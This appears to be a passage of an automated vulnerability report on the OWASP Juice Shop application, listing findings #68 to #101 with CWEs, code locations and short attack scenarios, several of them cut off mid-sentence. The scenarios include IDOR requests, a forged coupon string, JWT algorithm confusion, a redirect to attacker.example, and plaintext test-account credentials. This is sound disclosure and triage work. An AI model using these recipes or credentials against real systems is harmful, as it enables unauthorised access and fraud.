#68mediumStatic leadsource scanProduct link uses cleartext HTTP [CVSS 4.3: CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N]
Static-analysis lead (CWE-319) in config/addo.yml the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The application configuration publishes http://bit.ly/2YIjdt7 as the product-tampering challenge URL. Because the initial request uses HTTP, its integrity is not protected before any server-side HTTPS redirect occurs; an on-path attacker can answer the request directly with an attacker-controlled redirect. No certificate verification or other integrity control is specified at this location. A network-adjacent attacker can replace the product-link response with a redirect to a phishing or malware site. This compromises users who follow the link from the application. A victim opens the affected product and follows its configured URL while connected to a malicious Wi-Fi network. The attacker intercepts GET http://bit.ly/2YIjdt7 and returns 302 Location: https://attacker.example/fake-login. The victim is sent to the attacker's page instead of the intended resource. - The victim follows the c…
cwe CWE-319at config/addo.yml:57
#69mediumStatic leadsource scanClient clock controls campaign coupon validity [CVSS 4.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-602) in frontend/src/app/payment/payment.component.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
1 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied. The coupon code entered through the payment form is read at line 153, while the purported redemption date is derived entirely from the customer's local clock at lines 154-158. For hardcoded campaign codes, the client compares this attacker-controlled date with the historical campaign date and records the resulting coupon details and discount in sessionStorage at lines 160 and 194. OrderSummaryComponent later reads the untrusted couponDetails value, applies only reversible Base64 encoding with btoa(), and submits it to the checkout operation at line 79 without any integrity protection. Consequently, changing the client clock to a campaign date causes an expired coupon to follow the same checkout path as a currently valid coupon. An authenticated customer can redeem expired campaig…
cwe CWE-602at frontend/src/app/payment/payment.component.ts:152
#70mediumStatic leadsource scanFeedback accepts ratings outside the valid range [CVSS 5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-20) in models/feedback.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The externally supplied rating reaches the model setter at line 60 and is written directly with setDataValue() at line 61. The Sequelize attribute only requires a non-null integer and has no minimum or maximum validation. The explicit challenge check for Number(rating) === 0 confirms that zero is accepted rather than rejected, so the model does not enforce the expected star-rating invariant. A feedback submitter can store a zero or otherwise out-of-range rating, corrupting product feedback integrity. Such records can skew displayed ratings or aggregate statistics that assume the normal star range. An attacker submits a feedback record with rating set to 0. The setter stores the value without checking the valid star range, creating a zero-star feedback record that affects feedback data and any rating calculations consuming it. - The attacker can submit feedback through the application's f…
cwe CWE-20at models/feedback.ts:57
#71mediumStatic leadsource scanBasket IDOR exposes other users' carts [CVSS 4.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N]
Static-analysis lead (CWE-639) in routes/basket.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The route takes the attacker-controlled basket identifier directly from req.params.id and uses it as the sole condition in BasketModel.findOne. Although the code obtains the authenticated user inside the challenge-tracking callback, it only records whether a cross-user basket was accessed; it never rejects the request or constrains the query to user.bid. The selected basket, including its associated products, is subsequently serialized to the response without an ownership check. A customer can retrieve another user's basket contents by supplying that basket's identifier. This exposes the victim's selected products and basket metadata, and predictable identifiers allow multiple baskets to be enumerated. An authenticated customer whose own basket ID is 1 sends GET /rest/basket/2. The handler queries basket 2 without comparing it to the customer's bid and returns basket 2 and its products a…
cwe CWE-639at routes/basket.ts:18
#72mediumStatic leadsource scanDuplicate BasketId bypasses basket ownership check [CVSS 4.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-639) in routes/basketItems.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The POST /api/BasketItems request body enters through req.rawBody at line 21 and is parsed into a sequence that preserves duplicate properties. The ownership check at line 37 validates only basketIds[0], but the object persisted at lines 40-49 uses basketIds[basketIds.length - 1]. Consequently, a request containing the attacker's BasketId first and a victim's BasketId last passes the check against the attacker's basket while BasketItemModel.save() writes the item into the victim's basket. The authenticated-session check does not mitigate this because it is applied to a different value than the one used at the persistence sink. An authenticated customer can add arbitrary products to another customer's basket, corrupting that customer's cart and potentially affecting later purchases. Predictable basket identifiers allow this to be repeated against other users. An authenticated user whose b…
cwe CWE-639at routes/basketItems.ts:21
#73mediumStatic leadsource scanCoupon update lacks basket ownership check [CVSS 4.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-639) in routes/coupon.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The Express handler receives the attacker-controlled basket identifier from params.id at line 13. Although the mounted route can authenticate a user session, the handler discards the authenticated principal by destructuring only params and loads the basket globally with BasketModel.findByPk(id) at line 18. No check compares the loaded basket's owner or tenant with the authenticated user before basket.update() writes the supplied valid coupon at line 24. Consequently, authentication establishes only who the caller is and does not authorize that caller to modify the selected basket. An authenticated user can overwrite the coupon associated with another user's basket by supplying that basket's ID. This compromises basket integrity and can replace a victim's existing coupon, changing the price applied during checkout. A logged-in attacker obtains a valid coupon and identifies another basket …
cwe CWE-639at routes/coupon.ts:11
#74mediumStatic leadsource scanUser-controlled layout enables local file disclosure [CVSS 4.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N]
Static-analysis lead (CWE-22) in routes/dataErasure.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The POST handler accepts layout directly from the request body without runtime validation. It canonicalizes the value only to check whether the resulting string contains one of three blocked substrings (ftp, ctf.key, or encryptionkeys), but it never requires the path to remain inside an approved template directory. The original attacker-controlled req.body.layout is then spread into the options passed to res.render, where the view layout mechanism interprets it as a local layout path. The rendered file content is truncated to 100 characters and sent to the requester, which limits the amount returned per request but does not prevent disclosure. Any authenticated user can make the server render and return the beginning of a readable local file. This can disclose operating-system information or secrets stored near the beginning of application and process files, affecting the underlying serv…
cwe CWE-22at routes/dataErasure.ts:103
#75mediumStatic leadsource scanCAPTCHA answer disclosed in API response [CVSS 5.4: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N]
Static-analysis lead (CWE-200) in routes/imageCaptcha.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
An authenticated request reaches imageCaptchas at line 13. The server generates a CAPTCHA at line 16, stores its secret text in imageCaptcha.answer at line 26, and then serializes the entire imageCaptcha object with res.json at line 31. There is no output projection or removal of answer before the response, so the supposedly secret solution is directly disclosed to the requesting client. Any authenticated user receives the plaintext solution alongside the CAPTCHA image, allowing automated clients to satisfy the challenge without solving it. This defeats CAPTCHA-based bot protection for that user's protected operations. An authenticated attacker requests a new image CAPTCHA. The response contains an object such as {"image":"<svg...>","answer":"a8KpQ","UserId":12}. The attacker submits "a8KpQ" to any endpoint using verifyImageCaptcha and passes the challenge without image recognition or hu…
cwe CWE-200at routes/imageCaptcha.ts:24
#76mediumStatic leadsource scanMissing CAPTCHA record bypasses verification [CVSS 4.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N]
Static-analysis lead (CWE-693) in routes/imageCaptcha.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The request enters verifyImageCaptcha at line 38 and the caller's identity is resolved at lines 40-41. The database query only returns CAPTCHAs created in the preceding five minutes. At line 52, the absence of a matching record is treated as success because !captchas[0] is ORed with the valid-answer condition, causing next() at line 53 without checking req.body.answer. No preceding validation requires a challenge to exist, so the verification mechanism fails open. A caller can pass the CAPTCHA middleware without supplying a correct answer whenever no recent CAPTCHA record exists for the resolved user. This disables the protection for first-time callers, users who wait five minutes, and potentially unauthenticated callers, affecting whichever downstream operation the middleware guards. An attacker who has never requested a CAPTCHA, or whose last CAPTCHA is more than five minutes old, send…
cwe CWE-693at routes/imageCaptcha.ts:42
#77mediumStatic leadsource scanWallet debit permits concurrent overspending [CVSS 6.5: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N]
Static-analysis lead (CWE-362) in routes/order.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
Wallet sufficiency is implemented as a non-transactional check-then-act sequence: findOne reads the current balance, JavaScript compares it with totalPrice, and a later independent decrement performs the debit. No transaction, row lock, conditional update, or database constraint makes the balance test and debit atomic. Concurrent requests can therefore all observe the pre-debit balance and subsequently decrement it; basket items are only destroyed later in the PDF stream finish callback, leaving the same basket available during this race. A shopper can spend the same wallet balance multiple times by issuing concurrent checkout requests. Each request can pass the stale balance check before separate decrements occur, producing multiple accepted orders and potentially a negative wallet balance. An attacker with a wallet balance of 100 and a basket totaling 80 sends two checkout requests for…
cwe CWE-362at routes/order.ts:148
#78mediumStatic leadsource scanCheckout lacks basket ownership validation [CVSS 6.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L]
Static-analysis lead (CWE-639) in routes/order.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The checkout handler accepts the basket identifier directly from req.params.id and loads that basket without constraining the query by the authenticated user's identity. Although the authenticated user is retrieved at line 38, it is only used to derive the email and is never compared with the basket's owner. The attacker-selected basket is processed, its inventory quantities are changed, and BasketItemModel.destroy removes every item associated with that basket ID when PDF generation finishes. Any user who knows another basket's numeric ID can place an order from that basket and delete all of its items. This disrupts the victim's cart, alters inventory, and creates an order under the attacker's session without the victim's consent. An authenticated attacker enumerates numeric basket IDs and submits a checkout request with a victim's basket ID, for example id=42. Because the query only ch…
cwe CWE-639at routes/order.ts:34
#79mediumStatic leadsource scanArray ID exposes multiple recycle records [CVSS 5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N]
Static-analysis lead (CWE-639) in routes/recycles.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The Express route parameter req.params.id is attacker-controlled and is parsed as arbitrary JSON without checking that the result is a single integer. Sequelize treats an array supplied as a column value in a where clause as an implicit IN condition, so an input such as [1,2,3] changes the query from a single-record lookup into a multi-record lookup. The handler then serializes and returns every matching row, with no user or tenant ownership predicate between the request parameter and findAll. A caller can retrieve multiple recycle records through an endpoint intended to fetch one item. Because the query has no ownership check, this can disclose other users' recycling data and allows enumeration of the recycle table in batches. A caller requests the registered recycle-item route with an encoded parameter such as %5B1%2C2%2C3%5D, representing [1,2,3]. JSON.parse produces an array, and Seq…
cwe CWE-639at routes/recycles.ts:11
#80mediumStatic leadsource scanPremium content served without authorization [CVSS 5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N]
Static-analysis lead (CWE-862) in routes/premiumReward.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
An externally supplied HTTP request enters the Express route handler at line 12. The handler performs no authentication, authorization, entitlement, payment-token, or signed-claim validation; instead, it unconditionally returns true to solveIf at line 13 and sends the private asset at line 14. Express sendFile safely handles the fixed filesystem path, but it provides no access control, so every request reaching this handler receives the protected content. An anonymous requester can retrieve the premium-only wallpaper without proving payment or premium status. The request also marks the premium paywall challenge as solved, bypassing the intended access-control workflow. An unauthenticated attacker sends GET /rest/premiumReward. The handler unconditionally marks the premium paywall challenge as solved and responds with JuiceShop_Wallpaper_1920x1080_VR.jpg. No premium entitlement, payment p…
cwe CWE-862at routes/premiumReward.ts:12
#81mediumStatic leadsource scanResponse discrepancy enables account enumeration [CVSS 5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N]
Static-analysis lead (CWE-204) in routes/securityQuestion.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The Express request is accepted at routes/securityQuestion.ts:12, and the attacker-controlled query.email value is read at line 13 and used to look up a user through SecurityAnswerModel.findOne at lines 15-20. The lookup result becomes a security-relevant account-existence decision at line 21. Existing accounts receive a JSON object containing their security question at line 23, while nonexistent accounts receive an empty object at line 25; no authentication, authorization, or response normalization occurs between input and response. An anonymous attacker can determine whether an email address belongs to a registered user and retrieve that user's security question. This exposes account information and gives the attacker material for targeted password-recovery attacks. An unauthenticated attacker sends a request with ?email=victim@example.com. If the account exists and has a security answ…
cwe CWE-204at routes/securityQuestion.ts:12
#82mediumStatic leadsource scanArbitrary wallet balance top-ups [CVSS 6.5: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N]
Static-analysis lead (CWE-20) in routes/wallet.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The wallet top-up handler reads the externally supplied req.body.balance without checking that it is a finite positive monetary value, enforcing a maximum, or binding it to a successfully processed payment. It verifies only that paymentId identifies a card belonging to the request's user, then passes the attacker-controlled balance directly to Sequelize's atomic increment operation. The card lookup establishes ownership but does not constrain or authorize the requested amount, so any user who has added a card can mint wallet credit. An authenticated user with a saved payment card can create an arbitrarily large wallet balance without the server validating the amount or confirming an equivalent charge. The attacker can spend the fabricated balance on shop inventory, undermining payment and order integrity. An authenticated attacker first saves a card to obtain payment ID 7. They send a wa…
cwe CWE-20at routes/wallet.ts:23
#83mediumStatic leadsource scanClient header spoofs stored login IP [CVSS 4.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-345) in routes/saveLoginIp.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
1 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied. The externally supplied true-client-ip request header enters at line 18 on the login request. The code treats this client-controlled header as authoritative and, outside the XSS challenge mode, only applies HTML sanitization; it never validates that the value is an IP address or that it was inserted by a trusted reverse proxy. The resulting value is persisted to the authenticated user's lastLoginIp field at line 32. Additionally, when the header is absent, line 25 changes undefined to an empty string before the fallback check at line 27, making the req.socket.remoteAddress fallback unreachable in the normal configuration. Any user who can successfully log in can replace their recorded login address with an arbitrary value, undermining the integrity of login audit data. Omitting t…
cwe CWE-345at routes/saveLoginIp.ts:18
#84mediumStatic leadsource scanMasked email collisions expose other users' orders [CVSS 4.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N]
Static-analysis lead (CWE-639) in routes/orderHistory.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The order-history handler authenticates the bearer token by looking it up in authenticatedUsers at line 13 and obtains the caller's email. Instead of querying orders by the authenticated user's stable ID or exact unique email, it replaces every vowel with "" and uses that lossy value as the ownership key at line 17. Distinct valid addresses such as alice@example.com and elice@example.com both become lc@xmpl.cm, so the query returns every order sharing that masked value. No subsequent comparison against loggedInUser.data.id, the original email, or another unique owner identifier separates the caller's orders from colliding users' orders. An authenticated customer can retrieve orders belonging to another customer whose email produces the same vowel-masked value. This exposes another user's order history and associated purchase information. A victim has orders associated with alice@example.…
cwe CWE-639at routes/orderHistory.ts:13
#85mediumStatic leadsource scanAuthentication token contains the TOTP seed [CVSS 5.4: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N]
Static-analysis lead (CWE-200) in routes/2fa.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The verification handler loads the full user model at line 26 and confirms that it contains a totpSecret by using that property for verification at line 31. The model is converted wholesale to plainUser at line 33 without deleting or projecting out totpSecret, then plainUser is passed to security.authorize at line 42 and the resulting token is returned to the client at line 47. No redaction occurs between model retrieval and token creation, so the long-lived TOTP seed becomes part of the client-visible signed token payload. The authentication token is created from the complete user object, which includes the user's TOTP secret. Because signed authentication tokens provide integrity rather than payload confidentiality, anyone who captures a token can extract the seed and generate future second-factor codes, extending a temporary session compromise into persistent MFA compromise. An attack…
cwe CWE-200at routes/2fa.ts:26
#86mediumStatic leadsource scanUnverified issue references defeat spam enforcement [CVSS 5.4: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L]
Static-analysis lead (CWE-840) in .github/workflows/pr-compliance.yml the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
Attacker-controlled pull-request title and body enter from context.payload.pull_request at lines 20 and 48-53. The spam detector subtracts 50 points for any closes, fixes, or resolves text followed by an issue number and another 30 points for any issue number in the title at lines 275-281, without verifying that the issue exists, is relevant, or is actually closed by the pull request. The score is clamped at line 284 and the security decision treats only scores of at least 75 as spam at lines 311-312. These unconditional deductions can offset all recurring-indicator points and cause the finalizer to return without enforcement. A spammer can force the computed spam score below the enforcement threshold by inserting arbitrary issue references into the pull-request title and body. This prevents the workflow from applying the spam label, closing the pull request as spam, or invoking the orga…
cwe CWE-840at .github/workflows/pr-compliance.yml:275
#87mediumStatic leadsource scanAny commenter can rebase pull requests [CVSS 4.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-862) in .github/workflows/rebase.yml the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The externally reachable entry point is the issue_comment event at lines 3-5, where the initiating identity can be any GitHub user permitted to comment. The condition at line 10 selects the target object directly from github.event.issue.pull_request and checks only whether the attacker-controlled comment contains /rebase. It does not verify github.actor, github.event.comment.author_association, repository write permission, PR ownership, or maintainer status for that specific pull request. The action at lines 16-19 then operates on the selected PR using the repository's GITHUB_TOKEN, crossing from the commenter's limited identity to the workflow identity. Any authenticated GitHub user able to comment can cause the repository's privileged automation to rewrite an eligible pull request branch. This can invalidate reviews, alter the reviewed commit set, and trigger workflows without authoriz…
cwe CWE-862at .github/workflows/rebase.yml:3
#88mediumStatic leadsource scanLossy email masking breaks order ownership [CVSS 4.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N]
Static-analysis lead (CWE-187) in routes/chat.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The victim order identifier enters from attacker-controlled messages at routes/chat.ts:191 and is passed by the model to getOrderById at routes/chat.ts:158-166. For authorization, the current user's email is transformed by replacing every vowel with '', and the result is compared with order.email at routes/chat.ts:169. This transformation is non-injective: distinct identities such as alice@example.com and eloce@ixemple.com both become lc@xmpl.cm. The equality check can therefore authorize one account to access an order associated with another account whose email has the same masked representation. An authenticated attacker can retrieve another customer's order when both email addresses produce the same masked value. Each successful request exposes one known victim order, including all fields present in the stored order object. A victim uses alice@example.com and the attacker registers el…
cwe CWE-187at routes/chat.ts:158
#89mediumStatic leadsource scanNew commits bypass completed compliance decisions [CVSS 4.3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-367) in .github/workflows/pr-compliance.yml the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The external trust boundary is the pull_request_target trigger at lines 3-5, which accepts only opened, edited, and reopened events. During an initial run, attacker-controlled commits are fetched at lines 36-46 and the DCO security decision is made at lines 131-133. A later push to the pull-request head generates the synchronize action, but that action is omitted from the trigger, so the new commit state never reaches the check and the earlier decision becomes stale. Editing the PR body is covered, but changing the actual commit set is not. An external contributor can make a pull request pass the compliance workflow and then add unsigned or otherwise noncompliant commits without triggering reevaluation. The pull request remains open despite violating policies that would have caused the workflow to close it. A contributor opens a pull request containing one commit with Signed-off-by: and …
cwe CWE-367at .github/workflows/pr-compliance.yml:3
#90mediumStatic leadsource scanJWT algorithm confusion accepts forged tokens [CVSS 5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-347) in routes/verify.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
An attacker-controlled JWT is extracted from the Express request by utils.jwtFrom(req) at line 112. The token is decoded without verification, and jwt.verify at line 120 is then called with the RSA public key but without an explicit algorithms allow-list; consequently, verification can negotiate the attacker-provided HS256 header and use the public-key bytes as an HMAC secret in the vulnerable verification path. No validation before this sink restricts the header to the server's intended asymmetric algorithm. After verification succeeds, the code reuses the previously decoded attacker-controlled payload and explicitly accepts HS256 with an email matching /rsa_lord@/, causing challengeUtils.solveIf to mark the challenge solved. An unauthenticated attacker can create a token that is treated as valid without possessing the RSA private key. The forged token satisfies the forged-JWT challenge…
cwe CWE-347at routes/verify.ts:111
#91mediumStatic leadsource scanAnonymous users can access arbitrary orders [CVSS 5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N]
Static-analysis lead (CWE-639) in routes/trackOrder.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The externally mounted tracking handler executes without requiring or identifying an authenticated user. It accepts the target order ID from req.params.id at line 15, queries ordersCollection solely by that attacker-selected ID at line 18, and returns the resulting document at line 24. The handler never compares the order's owner or tenant with an authenticated identity; character filtering only changes the syntax of the identifier and provides no authorization. Thus, the resource is the selected MongoDB order document, and ownership is verified nowhere in lines 12-24. An anonymous attacker who obtains another customer's order ID can retrieve that customer's complete tracking record. This breaks horizontal access control and exposes order contents, prices, delivery state, and any customer information stored in the order document. An attacker learns victim order ID 7f3b2c10-1234-4abc-9876…
cwe CWE-639at routes/trackOrder.ts:12
#92mediumStatic leadsource scanOAuth flow omits state validation [CVSS 5.4: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N]
Static-analysis lead (CWE-352) in frontend/src/app/login/login.component.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The OAuth authorization request constructed at line 148 includes client_id, response_type, scope, and redirect_uri but no unpredictable state or nonce bound to the initiating browser session. OAuthComponent later reads an externally supplied access_token directly from the callback fragment at lines 70-76, submits it to Google at line 28, and logs into the returned profile at line 46 without checking that the callback corresponds to an OAuth transaction initiated by that browser. Google validates that the token belongs to some Google user, but that does not establish that the victim initiated the flow or owns the token; thus an attacker can inject their own valid token. An attacker can force a victim's browser to become authenticated to the attacker's Juice Shop account. Purchases, personal information, or other actions the victim subsequently performs can therefore be recorded in an acco…
cwe CWE-352at frontend/src/app/login/login.component.ts:147
#93mediumStatic leadsource scanUnanchored coupon validation accepts unbounded discounts [CVSS 6.5: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N]
Static-analysis lead (CWE-20) in lib/insecurity.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
An attacker-controlled coupon is decoded at line 106 and tested with the unanchored regular expression at line 118. The expression only requires that some substring contain two discount digits, so AUG26-999999 matches the AUG26-99 prefix. The full text is subsequently split and parseInt() consumes all remaining digits at line 112, returning 999999 without any range check. A shopper can make the coupon parser return a discount far above the intended two-digit range. When consumed by checkout calculations, this can make purchases effectively free or corrupt order totals. In August 2026, the attacker submits k#Aghz3{Hixo8W, the Z85 encoding of AUG26-999999. The regular expression matches its AUG26-99 prefix, while parseInt() returns 999999 as the accepted discount. - The attacker can submit a coupon through the checkout functionality - The crafted coupon uses the server's current month and …
cwe CWE-20at lib/insecurity.ts:102
#94mediumStatic leadsource scanGenerated users share a hard-coded password [CVSS 6.5: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N]
Static-analysis lead (CWE-798) in data/datacreator.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
During production startup, createRandomFakeUsers() creates application users through UserModel.create(). Although each email is generated separately, line 313 assigns the same source-embedded password value to every generated account. Because this is a context-free hard-coded credential, anyone with access to the public source can recover the plaintext credential and submit it to the externally reachable POST /rest/user/login endpoint; there is no per-user secret generation or forced credential rotation between the committed value and account creation. An anonymous attacker who discovers a generated user's email can authenticate as that user with the password committed in the source. The same credential compromises every generated fake-user account, allowing access to or modification of data associated with those accounts. The attacker obtains one generated email from an application resp…
cwe CWE-798at data/datacreator.ts:310
#95lowStatic leadsource scanConcurrent requests inflate review likes [CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-362) in routes/likeProductReviews.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The Express handler accepts an attacker-selected review ID from req.body.id at line 18 and identifies the authenticated requester at line 19. It reads the review and separately checks whether the requester's email is present in likedBy at lines 25-33, but the subsequent increment at lines 35-38 is not conditioned on that email still being absent. Multiple requests from the same account can therefore all pass the check before any request records the email; each request increments likesCount, and the intentional 150 ms delay before updating likedBy substantially widens this race window. The later read-modify-write of likedBy at lines 43-53 does not undo the duplicate increments and may itself lose concurrent updates or store duplicate email entries. Authentication prevents anonymous exploitation but provides no synchronization or atomic database constraint. Any authenticated user can infla…
cwe CWE-362at routes/likeProductReviews.ts:25
#96lowStatic leadsource scanPublic wallet address accepted as ownership proof [CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-345) in routes/nftMint.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The walletNFTVerify HTTP handler accepts req.body.walletAddress as untrusted input at line 41 and directly tests it against the process-wide addressesMinted set at line 42. Entries in that set originate from public NFTMinted blockchain events, so wallet addresses are not secrets and can be observed by anyone. The handler performs no signature challenge, transaction-sender verification, authenticated-user binding, or other proof that the caller controls the submitted wallet. On a match, it deletes the shared entry and unconditionally solves the challenge, allowing the first caller who submits any observed minter address to consume that address and receive credit. An anonymous attacker can claim another user's publicly observable NFT mint and complete the NFT challenge without owning that wallet. The victim's address is then removed from the shared set, preventing the legitimate owner from…
cwe CWE-345at routes/nftMint.ts:41
#97lowStatic leadsource scanProfile update lacks CSRF enforcement [CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-352) in routes/updateUserProfile.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The request handler authenticates exclusively using the token cookie at line 17 and then applies the request body's username to that authenticated user's database record at line 38. Lines 31-36 inspect Origin or Referer only inside challengeUtils.solveIf(); the result records challenge completion but is never used to reject the request. There is no synchronizer token, double-submit token, or enforced Origin check between the externally supplied request and user.update(), so a same-site cross-origin form submission can carry the victim's cookie and perform the state change. An attacker can cause an authenticated victim's username to be changed without the victim's consent. The attack affects one victim account and also causes the application to issue a refreshed authentication token for the attacker-chosen profile state. The attacker must control a different origin that is considered same…
cwe CWE-352at routes/updateUserProfile.ts:16
#98lowStatic leadsource scanWallet ownership is never verified [CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N]
Static-analysis lead (CWE-862) in routes/web3Wallet.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The exported Express handler accepts an unauthenticated request at line 14 and reads the attacker-controlled req.body.walletAddress at line 15. It immediately inserts that address into the process-wide walletsConnected set without authenticating the caller or requiring a signed proof that the caller controls the address. When the contract later emits ContractExploited, lines 27-30 authorize challenge completion solely by checking whether the event's address exists in that set; there is no ownership, user, tenant, session, or role verification for the registered wallet. Consequently, possession of the HTTP endpoint—not possession of the wallet's private key—is enough to associate any wallet with the completion flow. An anonymous caller can register an arbitrary blockchain address and receive credit when that address emits the expected contract event. This allows one user to claim another …
cwe CWE-862at routes/web3Wallet.ts:14
#99lowStatic leadsource scanTOTP secrets stored unencrypted [CVSS 3.3: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N]
Static-analysis lead (CWE-312) in routes/2fa.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.
The setup endpoint accepts a signed setup token from req.body at line 105, verifies and decodes its TOTP secret at line 115, and confirms a matching initial code at line 119. It then assigns the raw secret directly to userModel.totpSecret and persists it at lines 129-130 without application-layer encryption or wrapping. Consequently, database readers, exposed backups, or a separate database-disclosure vulnerability reveal usable TOTP key material rather than ciphertext. An attacker who obtains read access to the user table can recover users' long-lived TOTP seeds and generate valid second-factor codes. Combined with compromised passwords, this bypasses 2FA for every exposed account and remains effective until each seed is rotated. A user completes setup using a valid setupToken and matching initialToken, causing the decoded seed to be stored directly in the user row. An attacker later ob…
cwe CWE-312at routes/2fa.ts:105
#100infoLikely false positivestatic + liveActive user credentials embedded in client code [CVSS 9.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N]
The red-team run tested this static lead (CWE-798) in frontend/src/hacking-instructor/challenges/exposedCredentials.ts and could not reproduce it — a likely false positive. SAST rated it critical; down-ranked.
The tutorial embeds the login email testing@juice-sh.op at line 54 and its password IamUsedForTesting at line 60. These strings are compiled into browser-delivered JavaScript and are therefore available before authentication. The accompanying tutorial explicitly confirms that these credentials are accepted by the login flow, and no protection exists between disclosure of the literal and the externally reachable POST /rest/user/login endpoint. An anonymous attacker can extract a valid testing account's credentials from the public frontend bundle and obtain an authenticated session. The attacker can access or modify data and perform actions available to that account. An anonymous attacker searches the frontend bundle for IamUsedForTesting. They submit {"email":"testing@juice-sh.op","password":"[REDACTED-SECRET]"} to POST /rest/user/login. The response supplies an authenticated session for …
cwe CWE-798at frontend/src/hacking-instructor/challenges/exposedCredentials.ts:51scenario dast-revalidationmatched on cwe+filereported as critical
#101infoLikely false positivestatic + liveFeedback XSS compromises administrator sessions [CVSS 9.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N]
The red-team run tested this static lead (CWE-79) in frontend/src/app/administration/administration.component.ts and could not reproduce it — a likely false positive. SAST rated it critical; down-ranked.
